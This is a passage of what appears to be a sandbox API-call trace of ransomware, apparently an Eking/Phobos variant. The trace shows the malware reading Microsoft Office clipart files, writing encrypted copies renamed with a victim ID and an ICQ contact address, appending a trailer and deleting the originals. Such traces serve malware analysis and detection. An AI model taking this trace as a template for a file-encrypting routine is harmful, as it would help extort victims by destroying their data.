office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0272.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0272.602] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.602] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0272.604] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x3df0, lpOverlapped=0x0) returned 1 [0272.608] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3e00, lpOverlapped=0x0) returned 1 [0272.610] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0272.610] CloseHandle (hObject=0x3b0) returned 1 [0272.611] CloseHandle (hObject=0x394) returned 1 [0272.611] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0 [0272.611] SetEvent (hEvent=0x2b8) returned 1 [0272.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.612] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=18194) returned 1 [0272.613] CloseHandle (hObject=0x394) returned 1 [0272.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0272.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0272.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.614] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.614] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0272.616] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4712, lpOverlapped=0x0) returned 1 [0272.619] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4720, lpOverlapped=0x0) returned 1 [0272.621] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0272.621] CloseHandle (hObject=0x394) returned 1 [0272.621] CloseHandle (hObject=0x3b0) returned 1 [0272.621] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0 [0272.622] SetEvent (hEvent=0x2b8) returned 1 [0272.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0272.623] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=46814) returned 1 [0272.623] CloseHandle (hObject=0x3b0) returned 1 [0272.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0272.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0272.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0272.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0272.625] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.625] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0272.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x368 [0272.985] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xb6de, lpOverlapped=0x0) returned 1 [0272.991] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xb6e0, lpOverlapped=0x0) returned 1 [0272.994] WriteFile (in: hFile=0x368, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0272.994] CloseHandle (hObject=0x3b0) returned 1 [0272.994] CloseHandle (hObject=0x368) returned 1 [0272.995] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0 [0272.995] SetEvent (hEvent=0x2b8) returned 1 [0272.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.277] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4074) returned 1 [0273.277] CloseHandle (hObject=0x394) returned 1 [0273.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0273.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0273.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0273.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.279] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0273.279] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0273.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0273.282] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xfea, lpOverlapped=0x0) returned 1 [0273.284] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xff0, lpOverlapped=0x0) returned 1 [0273.286] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0273.287] CloseHandle (hObject=0x394) returned 1 [0273.287] CloseHandle (hObject=0x3b0) returned 1 [0273.287] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0 [0273.288] SetEvent (hEvent=0x2b8) returned 1 [0273.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.289] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7878) returned 1 [0273.289] CloseHandle (hObject=0x3b0) returned 1 [0273.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0273.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0273.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0273.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.290] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0273.290] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0273.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0273.292] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1ec6, lpOverlapped=0x0) returned 1 [0273.295] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1ed0, lpOverlapped=0x0) returned 1 [0273.296] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0273.297] CloseHandle (hObject=0x3b0) returned 1 [0273.297] CloseHandle (hObject=0x394) returned 1 [0273.297] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0 [0273.297] SetEvent (hEvent=0x2b8) returned 1 [0273.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.300] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=11002) returned 1 [0273.300] CloseHandle (hObject=0x394) returned 1 [0273.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0273.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0274.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0274.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0274.049] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.049] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0274.051] ReadFile (in: hFile=0x358, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2afa, lpOverlapped=0x0) returned 1 [0274.055] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2b00, lpOverlapped=0x0) returned 1 [0274.057] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0274.057] CloseHandle (hObject=0x358) returned 1 [0274.057] CloseHandle (hObject=0x394) returned 1 [0274.057] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0 [0274.058] SetEvent (hEvent=0x2b8) returned 1 [0274.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.059] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2108) returned 1 [0274.059] CloseHandle (hObject=0x394) returned 1 [0274.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0274.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0274.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0274.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.060] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.060] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0274.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x358 [0274.062] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x83c, lpOverlapped=0x0) returned 1 [0274.064] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x840, lpOverlapped=0x0) returned 1 [0274.065] WriteFile (in: hFile=0x358, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0274.065] CloseHandle (hObject=0x394) returned 1 [0274.066] CloseHandle (hObject=0x358) returned 1 [0274.066] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0 [0274.066] SetEvent (hEvent=0x2b8) returned 1 [0274.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0274.067] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5098) returned 1 [0274.067] CloseHandle (hObject=0x358) returned 1 [0274.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0274.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0274.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0274.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 